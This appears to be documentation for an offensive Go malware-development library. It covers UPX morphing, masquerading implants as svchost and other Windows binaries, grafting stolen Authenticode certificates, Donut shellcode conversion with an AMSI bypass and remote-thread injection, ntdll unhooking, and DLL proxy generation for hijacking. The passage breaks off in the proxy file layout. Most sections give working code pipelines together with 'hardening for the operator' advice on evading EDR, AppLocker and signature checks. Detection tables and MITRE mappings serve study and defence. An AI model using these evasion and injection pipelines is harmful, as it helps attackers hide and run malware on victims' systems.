Advanced — fuzzy-hash before/after
Demonstrate the morph defeats SHA-256 but not similarity hashes:
import (
"fmt"
"os"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile("payload.upx.exe")
sha256Before := hash.SHA256(raw)
ssBefore, _ := hash.Ssdeep(raw)
tlBefore, _ := hash.TLSH(raw)
morphed, _ := morph.UPXMorph(raw)
ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)
fmt.Printf("SHA-256 same? %v\n", sha256Before == hash.SHA256(morphed)) // false
fmt.Printf("ssdeep score: %d / 100\n", ssScore) // ~97
fmt.Printf("TLSH distance: %d\n", tlDist) // ~12
Pipeline — build → pack → strip → morph
exec.Command("garble", "-literals", "-tiny", "build", "-o", "step1.exe", "./cmd/implant").Run()
exec.Command("upx", "--best", "-o", "step2.exe", "step1.exe").Run()
raw, _ := os.ReadFile("step2.exe")
raw = strip.Sanitize(raw)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile("final.exe", raw, 0o644)
See ExampleUPXMorph.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
UPX0 / UPX1 / UPX2 literal section names | YARA / EDR static rules — defeated by morph |
| Sequential 24KB+ executable sections + decompression stub | Heuristic UPX detection — not defeated |
| File entropy ~7.99 bits/byte (compressed payload) | Anti-malware entropy scans — unchanged |
Runtime: VirtualAlloc(RWX) + decompression in-place | Behavioural EDR — outside scope; UPX morph only touches the on-disk file |
| ssdeep / TLSH similarity to a known UPX-packed family member | Fuzzy-hash blocklists — only ~24 bytes change, similarity stays high |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/strip(pclntab + section rename) for both Go and UPX scrub in a single pass. - The UPX runtime stub itself is detectable — for higher-effort scenarios swap the stub via a custom packer.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | partial — UPX header morph defeats signature-based unpackers; entropy + stub remain | D3-SEA, D3-FCA |
Limitations
- UPX-specific. Only targets UPX section names; other packers (Themida, VMProtect, ASPack) are out of scope.
- Superficial. The UPX decompression stub is still present and recognisable by deep analysis — heuristic detectors win.
- Entropy unchanged. High-entropy compressed sections remain detectable by entropy scans.
- Fuzzy hash leak. ssdeep / TLSH similarity stays in the ~95th-percentile range; not safe against family-similarity blocklists.
- Requires valid PE. Malformed input returns an error; no best-effort partial morph.
See also
- PE strip / sanitize — Go-toolchain scrub to pair with morph.
hash— measure the SHA-256 vs fuzzy-hash delta after morph.- Operator path.
- Detection eng path.
PE Resource Masquerade
TL;DR
Embed the manifest, icon set, and VERSIONINFO of a legitimate
Windows binary into a Go implant at compile time. Two modes:
preset (zero-effort blank-import) for the canonical svchost /
cmd / explorer / taskmgr / notepad identities, or programmatic
([Extract] / [Clone] / [Build] + With* options) to clone any
PE on demand. Process Explorer, Task Manager, and naive
allowlists render the implant as the cloned identity; signature
checks and behavioural EDRs see through it.
Primer
Task Manager and Process Explorer trust the icon, company name,
and description embedded in a PE's resource section. Mature
allowlists key on OriginalFilename + CompanyName; AppLocker
publisher rules trust the embedded manifest. Masquerading those
fields with a known-Microsoft value clears casual triage and
opens up a host of "is this svchost?" trust assumptions.
The clone is shallow. .rdata strings (runtime., main.),
imports (Go's ntdll-heavy IAT), and the Authenticode signature
state still betray the implant to anyone who looks past the icon.
Pair with pe/strip (Go-toolchain scrub),
pe/cert (signature graft), and
cleanup/timestomp (MFT alignment) for layered
cover.
How It Works
flowchart LR
SRC[Source PE<br>e.g. svchost.exe] --> EXT[Extract<br>manifest + icons + VERSIONINFO]
EXT --> RES[Resources struct]
RES --> MUT[optional: mutate fields<br>OriginalFilename / FileVersion / icon]
MUT --> SYSO[GenerateSyso<br>winres COFF emitter]
SYSO --> FILE[resource_windows_amd64.syso]
FILE --> LINK[go build<br>auto-links .syso]
LINK --> OUT[implant .exe<br>with cloned identity]
At build time, go build finds every *_windows_amd64.syso in
an imported package directory and merges its COFF .rsrc section
into the final binary. No external tool is invoked during build.
Available presets
5 identities × 2 UAC variants = 10 packages, each ~34 KB. Pick one and blank-import:
| Identity | Source EXE | Base (asInvoker) | Admin (requireAdministrator) |
|---|---|---|---|
| cmd | System32\cmd.exe | …/preset/cmd | …/preset/cmd/admin |
| svchost | System32\svchost.exe | …/preset/svchost | …/preset/svchost/admin |
| taskmgr | System32\taskmgr.exe | …/preset/taskmgr | …/preset/taskmgr/admin |
| explorer | Windows\explorer.exe | …/preset/explorer | …/preset/explorer/admin |
| notepad | System32\notepad.exe | …/preset/notepad | …/preset/notepad/admin |
Rules:
- At most one blank-import per final binary. Windows PEs
carry exactly one
RT_MANIFEST(ID = 1); two imports yield a duplicate-symbol linker error. - Pick the UAC variant that matches operational need:
- base (
asInvoker): no UAC prompt, runs with the invoking shell's token — most stealthy. - admin (
requireAdministrator): forces the UAC consent UI. Only when the cloned identity naturally requires elevation (taskmgr, explorer/admin) — a cmd asking for admin is suspicious.
- base (
API Reference
Programmatic entry points
| Symbol | Description |
|---|---|
Extract(pePath) (*Resources, error) | Open a PE; extract manifest + icons + VERSIONINFO + optional Authenticode cert. |
Clone(srcPE, outSyso, arch, level) error | One-shot Extract + GenerateSyso. |
Build(out, arch, opts ...Option) error | Option-chain entry point — start from a source PE, override fields, emit. |
(*Resources).GenerateSyso(out, arch, level) | Write .syso from the current Resources state via plain os.Create. |
(*Resources).GenerateSysoVia(creator, out, arch, level) | Same as GenerateSyso, but routes through a stealthopen.Creator. nil → os.Create; non-nil → operator-controlled write primitive. The COFF byte stream is identical. |
(*Resources).IconCount() int | How many icon groups were extracted. |
Build options
| Option | Effect |
|---|---|
WithSourcePE(path) | Seed from existing PE (icons + manifest + VERSIONINFO). |
WithExecLevel(level) | Override requestedExecutionLevel. |
WithManifest(xml) | Replace entire manifest with raw XML. |
WithVersionInfo(vi) | Override all version resource strings. |
WithIconFile(path) | Load icon from PNG / ICO / BMP / JPEG. |
WithIconImage(img) | Create icon from Go image.Image. |
WithIcons(icons) | Advanced — pass []*winres.Icon directly. |
WithCertificate(c) | Store a *cert.Certificate for post-build application via cert.Write. |
Constants
| Type | Values |
|---|---|
Arch | AMD64, I386 |
ExecLevel | AsInvoker, HighestAvailable, RequireAdministrator |
Sentinel errors
| Error | Trigger |
|---|---|
ErrEmptySourcePE | WithSourcePE("") |
Examples
Simple — preset blank-import
package main
import (
_ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
)
func main() {
// Process Explorer renders this as svchost.exe
}
PS> (Get-Item .\mybin.exe).VersionInfo | Format-List
CompanyName : Microsoft Corporation
FileDescription : Host Process for Windows Services
OriginalFilename : svchost.exe
ProductName : Microsoft® Windows® Operating System
Composed — Clone in a generate step
//go:build ignore
// generator.go — invoked via `go generate`
package main
import "github.com/oioio-space/maldev/pe/masquerade"
func main() {
_ = masquerade.Clone(
`C:\Windows\System32\svchost.exe`,
"resource_windows_amd64.syso",
masquerade.AMD64,
masquerade.AsInvoker,
)
}
Advanced — icon swap with custom VERSIONINFO
Use svchost icons but override every VERSIONINFO field — useful
when an AV cross-checks OriginalFilename against the on-disk
filename.
masquerade.Build("resource_windows_amd64.syso", masquerade.AMD64,
masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
masquerade.WithExecLevel(masquerade.AsInvoker),
masquerade.WithVersionInfo(&masquerade.VersionInfo{
FileDescription: "Host Process for Windows Services",
CompanyName: "Microsoft Corporation",
ProductName: "Microsoft® Windows® Operating System",
OriginalFilename: "svchost.exe",
FileVersion: "10.0.22621.3007",
ProductVersion: "10.0.22621.3007",
}),
)
Pipeline — Clone + cert + strip + timestomp
End-to-end identity scrub: clone svchost identity, graft its Authenticode cert, scrub Go markers, align MFT timestamps.
//go:build ignore
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/masquerade"
"github.com/oioio-space/maldev/pe/strip"
)
func main() {
const exe = `.\loader.exe`
const ref = `C:\Windows\System32\svchost.exe`
// 1. Generate the .syso (run before `go build`).
if err := masquerade.Clone(ref,
"resource_windows_amd64.syso",
masquerade.AMD64,
masquerade.AsInvoker,
); err != nil {
log.Fatal(err)
}
// (assume `go build` produced `loader.exe` here)
// 2. Strip Go markers.
raw, _ := os.ReadFile(exe)
raw = strip.Sanitize(raw)
_ = os.WriteFile(exe, raw, 0o644)
// 3. Graft the donor's Authenticode cert.
_ = cert.Copy(ref, exe)
// 4. Match MFT timestamps to the donor.
_ = timestomp.CopyFromFull(ref, exe)
}
See ExampleClone
Regenerating presets
# On a Windows host (read-only access to System32 is enough):
go run ./pe/masquerade/internal/gen
The generator is pure Go (uses tc-hib/winres as a library) and
does not modify the host filesystem outside this repository.
Regenerate when:
- A Windows update refreshes icons/metadata of a reference exe.
- Adding a new identity (extend the
identitiesslice inpe/masquerade/internal/gen/main.go). - Adding a new variant (e.g.
highestAvailable).
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Verified: Unsigned from sigcheck /a | Microsoft binaries are always signed; unsigned file claiming Microsoft origin is a high-fidelity signal — pair with pe/cert |
Mismatched OriginalFilename vs on-disk filename | Mature AV (Defender, MDE) cross-checks; rename the on-disk file to match |
| Defender ML heuristics on Go-binary + Microsoft VERSIONINFO | Atypical combination flagged by some ML pipelines; pair with pe/strip |
.rdata strings betraying Go origin (runtime., main., GOROOT paths) | YARA rules; partially mitigated by garble + pe/strip |
| Process Explorer's "Verified Signer" column | Shows (Not verified) when signature is missing |
| AppLocker / WDAC publisher rules | Strict enforcement validates the cert chain — masquerade alone cannot pass |
D3FEND counters:
- D3-EAL — strict allowlisting cross-checks publisher.
- D3-SEA — VERSIONINFO + manifest inspection.
- D3-PA — runtime behaviour rarely matches the cloned identity (svchost doesn't normally make outbound HTTPS to attacker C2).
Hardening for the operator:
- Pair with
pe/certso signature checks no longer fail open. - Pair with
pe/stripso Go fingerprints don't betray the spoof. - Match runtime behaviour to the cloned identity: a "svchost" beaconing every 60 s is more suspicious than a real svchost.
- Match the on-disk filename to
OriginalFilenameand place the binary in a path consistent with the cloned identity (%SystemRoot%\System32\for Microsoft binaries).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036.005 | Masquerading: Match Legitimate Name or Location | full — manifest + icon + VERSIONINFO clone | D3-EAL, D3-SEA, D3-PA |
Limitations
- Metadata only.
.rdatastrings, imports,.textare not modified — this is shallow masquerading. - Signature absent by default. Pair with
pe/certor any defender that checks Authenticode catches the spoof. - Static identity at build time. Each binary carries one identity; runtime swaps would require image rewriting.
- Defender ML edge cases. Some EDRs flag the Go + Microsoft-VERSIONINFO combo as anomalous; test against the target stack.
- Manifest restrictions. Exactly one
RT_MANIFESTper PE — cannot stack two preset imports.
See also
- Certificate theft — pair to defeat signature-presence checks.
- PE strip / sanitize — scrub Go markers post-link.
- PE morph — mutate UPX section names if packed.
cleanup/timestomp— match MFT timestamps to the cloned identity.runtime/clr— CLR hosting blends naturally withmasquerade/svchost.- Operator path.
- Detection eng path.
Credits
- tc-hib/winres — pure-Go
COFF
.rsrcemitter used by the generator.
PE Import Table Analysis
TL;DR
Walk a PE's IMAGE_DIRECTORY_ENTRY_IMPORT and return every
(DLL, Function) pair the binary depends on. Pure Go via
debug/pe — no DbgHelp, no LoadLibrary, runs on any host
parsing any PE. Used to scope unhooking passes, build dynamic
API-resolution payloads, and triage unknown binaries.
Primer
Every Windows EXE or DLL carries a list of the functions it calls from other DLLs — the import table. Reading it tells you exactly which kernel or user-mode APIs the binary relies on without running it. Defenders use this for triage; offensive tooling uses it to scope unhook passes (only restore the Nt* you actually call) and to feed downstream syscall-discovery (extract SSNs from ntdll exports the binary imports).
The package is fully cross-platform — it operates on PE bytes via
the standard library's debug/pe parser, so a Linux build host
can introspect a Windows implant without round-tripping through
Wine or signtool.
How It Works
flowchart LR
A["PE bytes"] --> B["debug/pe.NewFile"]
B --> C["ImportedSymbols<br>walks IMAGE_IMPORT_DESCRIPTOR"]
C --> D{"parse Func then DLL"}
D --> E["List Import<br>DLL + Function"]
E --> F["evasion/unhook<br>or wsyscall SSN extract"]
- Read the PE optional header and locate
IMAGE_DIRECTORY_ENTRY_IMPORT. - Walk each
IMAGE_IMPORT_DESCRIPTOR, followingOriginalFirstThunk(orFirstThunkif the original is zero) to resolve each imported function. - Handle both by-name and by-ordinal entries.
- Return a flat
[]Importslice — callers reshape as needed.
API Reference
type Import
| Field | Type | Description |
|---|---|---|
DLL | string | Imported DLL name as it appears in the import descriptor |
Function | string | Imported function name (or #<ordinal> for ordinal-only entries) |
List(pePath string) ([]Import, error)
Parse the PE on disk and return every import.
ListByDLL(pePath, dllName string) ([]Import, error)
Filter List's output to imports from the named DLL
(case-insensitive match against IMAGE_IMPORT_DESCRIPTOR.Name).
FromReader(r io.ReaderAt) ([]Import, error)
Parse a PE buffer in memory. Useful when the PE bytes are decrypted in-process and never touch disk.
Examples
Simple — list every import
import (
"fmt"
"github.com/oioio-space/maldev/pe/imports"
)
imps, _ := imports.List(`C:\Windows\System32\notepad.exe`)
for _, imp := range imps {
fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
Composed — filter to ntdll, parse from memory
import (
"bytes"
"github.com/oioio-space/maldev/pe/imports"
)
ntImps, _ := imports.ListByDLL(`C:\loader.exe`, "ntdll.dll")
inMem, _ := imports.FromReader(bytes.NewReader(decryptedPE))
Advanced — unhook only what we actually call
Layered with evasion/unhook so only the Nt* the loader actually
imports get restored — minimal .text write footprint, no
unused-function crumbs for an EDR's integrity checker.
import (
"os"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/pe/imports"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
self, _ := os.Executable()
ntImps, _ := imports.ListByDLL(self, "ntdll.dll")
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
techs := make([]evasion.Technique, 0, len(ntImps))
for _, i := range ntImps {
techs = append(techs, unhook.Classic(i.Function))
}
_ = evasion.ApplyAll(techs, caller)
See ExampleList.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| File-read of a PE | EDR file-access telemetry — but read-only access is exceedingly common; not a useful signal |
Subsequent unhooking write to ntdll .text | Sysmon Event 8 (CreateRemoteThread / ImageWrite); ETW Microsoft-Windows-Threat-Intelligence — the consumer of import data, not import parsing itself |
| YARA on the implant binary's IAT | Static rules against unusual ntdll-import sets — large Nt* lists imply a syscall-driven loader |
D3FEND counters:
- D3-SEA — IAT inspection on submitted samples.
Hardening for the operator:
- Strip unused imports at link time (
-trimpath, garble) so the IAT only carries what the loader genuinely needs. - Do the import walk against the on-disk PE before any unhooking; parsing is invisible.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1106 | Native API | discovery primitive — drives runtime resolution and unhook scoping | D3-SEA |
Limitations
- By-ordinal imports surface as
#<ordinal>strings; resolving ordinals to names requires the target DLL's export table (separate operation). - Bound imports are read straight from the descriptor — the cached resolved address is the value at bind time; current IAT may differ.
- Delay-loaded imports (DELAYIMPORT directory) are not
enumerated by this package; use
debug/pedirectly or wait for first-use resolution. - Manifest-redirected DLLs show their declared name, not the redirect target — useful for IOC matching, not for runtime resolution.
See also
pe/parse— sibling read-only PE walker.win/syscall— consumes the import list to derive SSNs from ntdll.evasion/unhook— primary consumer for scoped unhooks.- Operator path.
- Detection eng path.
PE Certificate Theft
TL;DR
Lift the Authenticode certificate blob from a legitimately signed PE (Microsoft binary, vendor driver, etc.) and append it to an unsigned implant — patching the security directory in place. The signature won't verify cryptographically but many naive scanners only check for certificate presence, not validity.
Primer
Windows uses Authenticode signatures to verify executable
provenance. The cryptographic check is two-part: presence of a
certificate blob in the PE security directory, and validation of
that blob against a trusted root CA. A surprising number of
defensive tools — naive AV, file-property dialogs, allowlists
keyed on "is signed?" — only check the first part. Cloning a
known-good cert blob onto an unsigned implant clears those naive
checks while still failing signtool verify.
The package is cross-platform: cert blobs are pure-byte PE
manipulation, no Win32 APIs involved. Use it on a Linux build
host to prepare implants without round-tripping through
signtool.exe.
How It Works
sequenceDiagram
participant Signed as "Signed PE notepad.exe"
participant Tool as "pe/cert"
participant Unsigned as "Unsigned implant"
Tool->>Signed: Read locate security directory
Note over Tool: PE Data Directory 4 - VirtualAddress is file offset, unique among directories
Tool->>Signed: read WIN_CERTIFICATE blob
Tool->>Unsigned: Write pad to 8-byte alignment
Tool->>Unsigned: append cert blob
Tool->>Unsigned: patch security directory entry
Note over Unsigned: Now carries Authenticode cert - signature fails verify, presence checks pass
The PE security directory (data directory index 4) is unique:
its VirtualAddress field is a file offset, not an RVA.
WIN_CERTIFICATE structures are appended after the last section,
8-byte aligned. Read parses the directory entry and returns
the raw blob; Write truncates / appends + patches.
API Reference
type Certificate
| Field | Type | Description |
|---|---|---|
Raw | []byte | Raw WIN_CERTIFICATE bytes including header(s) and the embedded PKCS#7 signature blob |
Has(pePath string) (bool, error)
Cheapest probe — true when the security directory entry is non-zero. Does not parse the certificate.
Read(pePath string) (*Certificate, error)
Parse the security directory and return the embedded cert.
Returns ErrNoCertificate when the PE is unsigned.
Write(pePath string, c *Certificate) error
Append c.Raw to the PE, 8-byte align, patch the security
directory header in place.
Copy(srcPE, dstPE string) error
Read(srcPE) + Write(dstPE, …) in a single call.
Strip(pePath, dst string) error
Zero the security directory entry. When dst is non-empty, the
removed cert bytes are written there for later restoration.
Import(path string) (*Certificate, error) / (c *Certificate) Export(path string) error
Persist / re-load raw cert blobs to and from disk so they can travel between operations.
WriteVia / StripVia / ExportVia — operator-controlled write primitive
Each disk-touching API has a Via variant that takes a
stealthopen.Creator. Pass nil for the
standard os.Create path; pass a custom Creator to land bytes through
transactional NTFS, encrypted streams, ADS, or any other primitive
the operator controls. The byte content is identical to the non-Via
flavor.
PatchPECheckSum(data []byte) error
Recomputes IMAGE_OPTIONAL_HEADER.CheckSum using the MS
ImageHlp!CheckSumMappedFile algorithm (16-bit rolling-carry sum +
file size, CheckSum field masked to zero). Strip and Write call
it automatically post-splice; expose it for ad-hoc PE surgery
performed outside the cert package.
Examples
Simple — copy a Microsoft cert onto an implant
import "github.com/oioio-space/maldev/pe/cert"
if err := cert.Copy(
`C:\Windows\System32\notepad.exe`,
`C:\Users\Public\implant.exe`,
); err != nil {
panic(err)
}
Composed — morph + cert + presence check
Layer with pe/morph so the static fingerprint is altered before
the cert is grafted on.
import (
"os"
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile(`C:\loader.exe`)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile(`C:\loader.exe`, raw, 0o644)
_ = cert.Copy(`C:\Windows\System32\notepad.exe`, `C:\loader.exe`)
ok, _ := cert.Has(`C:\loader.exe`) // true
Advanced — round-trip donor selection
Cache the existing cert, try multiple donors, restore on burn.
import (
"os"
"github.com/oioio-space/maldev/pe/cert"
)
target := `C:\loader.exe`
_ = cert.Strip(target, `C:\old.cert`)
candidates := []string{
`C:\Windows\System32\notepad.exe`,
`C:\Program Files\Google\Chrome\Application\chrome.exe`,
`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`,
}
for _, donor := range candidates {
_ = cert.Copy(donor, target)
// run target through the AV under test, observe verdict, decide
}
// Restore original if every candidate burned.
saved, _ := os.ReadFile(`C:\old.cert`)
_ = cert.Write(target, &cert.Certificate{Raw: saved})
See ExampleRead and
ExampleCopy.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
signtool verify /pa <implant.exe> failure | Any defender that actually validates signatures sees a chain failure |
| Modified file size + 8-byte alignment padding | EDR file-write telemetry; unusual delta-from-known-good if the signed donor was hashed earlier |
| Cert subject / issuer mismatched against the implant's metadata (CompanyName, OriginalFilename) | Mature allowlists cross-check signer identity vs VERSIONINFO |
Naive Get-AuthenticodeSignature checking only .Status -eq 'Valid' | False-negative on the modified cert; common in homebrew scripts |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/masqueradeso the VERSIONINFO / manifest matches the donor cert's identity. - Use a donor whose subject matches the implant's apparent
purpose (PowerShell signer for a
pwsh.exelookalike, etc.). - Recompute the PE checksum if downstream tooling validates it.
- Don't deploy where signature chain validation is enforced (Defender ATP, SmartScreen, AppLocker with publisher rules).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1553.002 | Subvert Trust Controls: Code Signing | full — clone a third-party signature blob | D3-EAL, D3-SEA |
Limitations
- Signature won't verify. Cryptographic chain validation
(
signtool verify, SmartScreen, AppLocker publisher rules) catches the substitution. - Checksum recomputation handled internally.
StripandWriteboth callPatchPECheckSumafter the splice — the optional-headerCheckSumis rebuilt with the MSImageHlp!CheckSumMappedFilealgorithm so downstream verifiers that check it (rare in user-mode, mandatory for kernel drivers) see a self-consistent value. Independent callers can invokePatchPECheckSum(data)directly after their own splices. - No certificate-chain emulation. This is blob copy, not cert forging — for that, look at separate signing pipelines.
- Validity-window mismatch. Donor certs have NotBefore / NotAfter; an implant deployed outside that window flags as expired even before the chain is checked.
See also
- PE masquerade — clone the donor's manifest + VERSIONINFO + icon to match the cert subject.
- PE strip / sanitize — pair to scrub Go-toolchain markers before/after the cert graft.
- Operator path.
- Detection eng path.
PE-to-Shellcode (Donut)
TL;DR
Convert a native EXE / DLL, .NET assembly, or scripting payload
(VBS / JS / XSL) into position-independent shellcode via the
Donut framework — flat byte buffer ready to feed any injection
primitive in inject/. Built-in AMSI / WLDP bypass + optional
dual-mode (x86 + x64) output. Pure Go, cross-compiles from Linux.
Primer
Windows insists executables live on disk as .exe / .dll
files; you can't normally hand the loader a flat byte buffer and
say "run this PE". Donut wraps an arbitrary PE (or .NET assembly,
or script) with a small position-independent loader stub that
bootstraps PE headers in memory, applies relocations, resolves
imports, and calls the entry point — all from a flat byte buffer
the operator can pass to any injection primitive.
The technique works for native PEs, .NET assemblies (no managed runtime needed on disk — Donut hosts the CLR in process), and scripts (VBScript / JScript / XSL through a built-in mshta-equivalent runner). Output is one buffer regardless of input format, sized roughly +5–10 % over the original.
How It Works
sequenceDiagram
participant Caller
participant Donut as "srdi (go-donut)"
participant Stub as "Loader stub<br>(in-memory)"
participant Payload as "PE / .NET / Script"
Caller->>Donut: ConvertFile(path, cfg)
Donut->>Donut: Parse + classify input
Donut->>Donut: Compress payload bytes
Donut->>Donut: Embed AMSI / WLDP bypass
Donut->>Donut: Attach PIC loader stub
Donut-->>Caller: shellcode []byte
Note over Caller,Stub: After injection into target process
Stub->>Stub: PIC bootstrap (locate self)
Stub->>Stub: AMSI / WLDP patch (configurable)
Stub->>Stub: Decompress payload
Stub->>Payload: Map sections + relocate + resolve imports
Payload->>Payload: Call entry point
Generated shellcode layout:
[ PIC Donut loader stub ] ← position-independent x64 / x86 / x84
[ embedded config block ] ← Arch, Bypass, Method, Class, Params
[ compressed payload ] ← original PE / .NET / script bytes
Input format matrix
| Format | Type constant | Class required | Method required |
|---|---|---|---|
| Native EXE | ModuleEXE | — | — |
| Native DLL | ModuleDLL | — | export name |
| .NET EXE | ModuleNetEXE | — | — |
| .NET DLL | ModuleNetDLL | yes | yes |
| VBScript | ModuleVBS | — | — |
| JScript | ModuleJS | — | — |
| XSL | ModuleXSL | — | — |
API Reference
type Arch int / type ModuleType int
| Arch | Meaning |
|---|---|
ArchX32 | 32-bit only |
ArchX64 | 64-bit only (default) |
ArchX84 | dual-mode (32 + 64) |
ModuleType values are listed in the matrix above.
type Config
| Field | Description |
|---|---|
Arch | Target architecture (default ArchX64) |
Type | Input format (0 = auto-detect from filename in ConvertFile) |
Class | .NET class name (required for ModuleNetDLL) |
Method | .NET method or native DLL export to call |
Parameters | Command-line passed to the payload |
Bypass | AMSI/WLDP: 1 skip · 2 abort on fail · 3 continue on fail |
Thread | Run entry point in a new thread |
DefaultConfig() *Config
ArchX64 + ModuleEXE + Bypass = 3.
ConvertFile(path string, cfg *Config) ([]byte, error)
Auto-detect module type from extension when cfg.Type == 0.
ConvertBytes(data []byte, cfg *Config) ([]byte, error)
Convert in-memory PE / script bytes. cfg.Type must be set
explicitly.
ConvertDLL(path string, cfg *Config) ([]byte, error) / ConvertDLLBytes(data []byte, cfg *Config) ([]byte, error)
Shorthand wrappers that pin cfg.Type = ModuleDLL.
Examples
Simple — convert a native EXE
import "github.com/oioio-space/maldev/pe/srdi"
cfg := srdi.DefaultConfig()
shellcode, _ := srdi.ConvertFile("payload.exe", cfg)
Composed — DLL with named export
cfg := srdi.DefaultConfig()
cfg.Type = srdi.ModuleDLL
cfg.Method = "ReflectiveLoader"
shellcode, _ := srdi.ConvertDLL("payload.dll", cfg)
Advanced — .NET DLL + dual-mode + remote injection
End-to-end: convert a .NET DLL to dual-mode shellcode, then hand
it to inject.NewWindowsInjector with indirect syscalls.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/pe/srdi"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
cfg := &srdi.Config{
Arch: srdi.ArchX84, // dual x86 + x64
Type: srdi.ModuleNetDLL,
Class: "Loader.Stub",
Method: "Run",
Bypass: 3,
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)
icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, targetPID)
icfg.SyscallMethod = wsyscall.MethodIndirect
inj, _ := inject.NewWindowsInjector(icfg)
_ = inj.Inject(sc)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Donut loader stub byte signature | YARA / memory scanners — Defender, MDE, CrowdStrike all carry Donut signatures by default |
| RWX page allocation in target | Behavioural EDR — Donut's mini-loader writes then executes; RWX is the canonical "shellcode" tell |
| AMSI / WLDP patch ranges in lsass / current process | Microsoft-Windows-Threat-Intelligence ETW provider |
.NET assembly load events without a corresponding .exe on disk | ETW Microsoft-Windows-DotNETRuntime; Defender flags managed runtime hosting from non-managed processes |
Sustained LoadLibraryW / GetProcAddress from a freshly-allocated region | EDR API correlation |
D3FEND counters:
Hardening for the operator:
- Encrypt the shellcode with
cryptobefore the injector writes it to RWX — the stub stays detectable but only after the implant has staged. - Use
inject's sleep-mask + indirect syscall combination so the stub bytes are absent from memory between callbacks. - Avoid
ArchX84unless dual-mode is genuinely required — the larger blob carries both x86 + x64 signatures.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: Dynamic-link Library Injection | partial — produces shellcode for downstream injection (consumer side) | D3-PA |
| T1620 | Reflective Code Loading | full — Donut loader stub is a textbook reflective loader | D3-FCA, D3-PA |
Limitations
- Detectable stub. Donut's loader carries a known byte pattern; signature-based YARA + memory scans flag it.
- RWX allocation. The mini PE loader writes and then executes — RWX is the canonical shellcode tell.
- No built-in obfuscation. Stub bytes are not encrypted by
default; pair with
crypto+ sleep masking. - Windows payloads only. Shellcode generation runs cross-platform; the produced shellcode targets Windows.
- +5–10% size overhead. Donut compresses the input but adds the loader stub; expect modest growth.
Credits
- Binject/go-donut — pure-Go Donut port (vendored).
- TheWover/donut — original C reference.
- monoxgas/sRDI — sRDI technique that inspired Donut.
See also
inject— execution surface for the produced shellcode.crypto— payload encryption pre-conversion.evasion/sleepmask— hide the stub between callbacks.- Operator path.
- Detection eng path.
DLL Proxy Generator
MITRE ATT&CK: T1574.001 — DLL Search Order Hijacking · T1574.002 — DLL Side-Loading D3FEND: D3-PFV — Process File Verification Detection level: very-quiet (offline emitter)
TL;DR
Pure-Go emitter that produces a valid Windows DLL forwarding every export to a legitimate target via the GLOBALROOT absolute-path trick. No MSVC, no MinGW, no toolchain — []byte in, []byte out. Pair with recon/dllhijack for end-to-end discovery + payload-write hijack chains, runnable from any host.
Two emission modes:
- Forwarder-only (
Options.PayloadDLL == ""): single.rdatasection, no DllMain. Invisible at runtime once loaded; the real target executes as if loaded directly. - + Payload load (
Options.PayloadDLL = "evil.dll"): adds a.textsection with a 32-byte x64 stub thatLoadLibraryA(payload)onDLL_PROCESS_ATTACH, plus an import directory referencingkernel32!LoadLibraryA.
Primer
A DLL hijack works when a victim program loads a DLL from a path the operator can write. The classic problem: writing a working DLL there required either (a) hand-coding C++ + linker pragmas + an MSVC toolchain, or (b) shipping a pre-built proxy and hoping the export set matches.
pe/dllproxy collapses this: hand it the target's name and its export list, get back a complete PE that, when loaded, transparently forwards every call to the real System32 copy. The forwarder uses an absolute path (\\.\GLOBALROOT\SystemRoot\System32\<target>.<export>) so the proxy does not recurse into itself even when deployed alongside the legitimate DLL — the perfect proxy trick from mrexodia/perfect-dll-proxy.
flowchart LR
A["recon/dllhijack.ScanXxx"] --> B["[]Opportunity"]
B --> C["pe/parse.Open(target).Exports()"]
C --> D["[]string export names"]
D --> E["pe/dllproxy.Generate(target, exports, opts)"]
E --> F["[]byte proxy DLL"]
F --> G["os.WriteFile(opp.HijackedPath, …)"]
G --> H["Victim loads → forwards → real target executes"]
style E fill:#94a,color:#fff
How It Works
The forwarder-only mode produces a minimal PE32+ image with a single .rdata section. No .text, no .idata, AddressOfEntryPoint = 0 — Windows accepts this layout (a DLL with no entry point loads silently without invoking DllMain, per the PE spec).
The payload-load mode adds a .text section with the DllMain stub, an import directory in .rdata referencing kernel32!LoadLibraryA, and the payload-name string the stub feeds to LoadLibraryA.
File layout
+0x000 DOS header (60 bytes) e_lfanew = 0x40
+0x040 PE signature "PE\0\0"
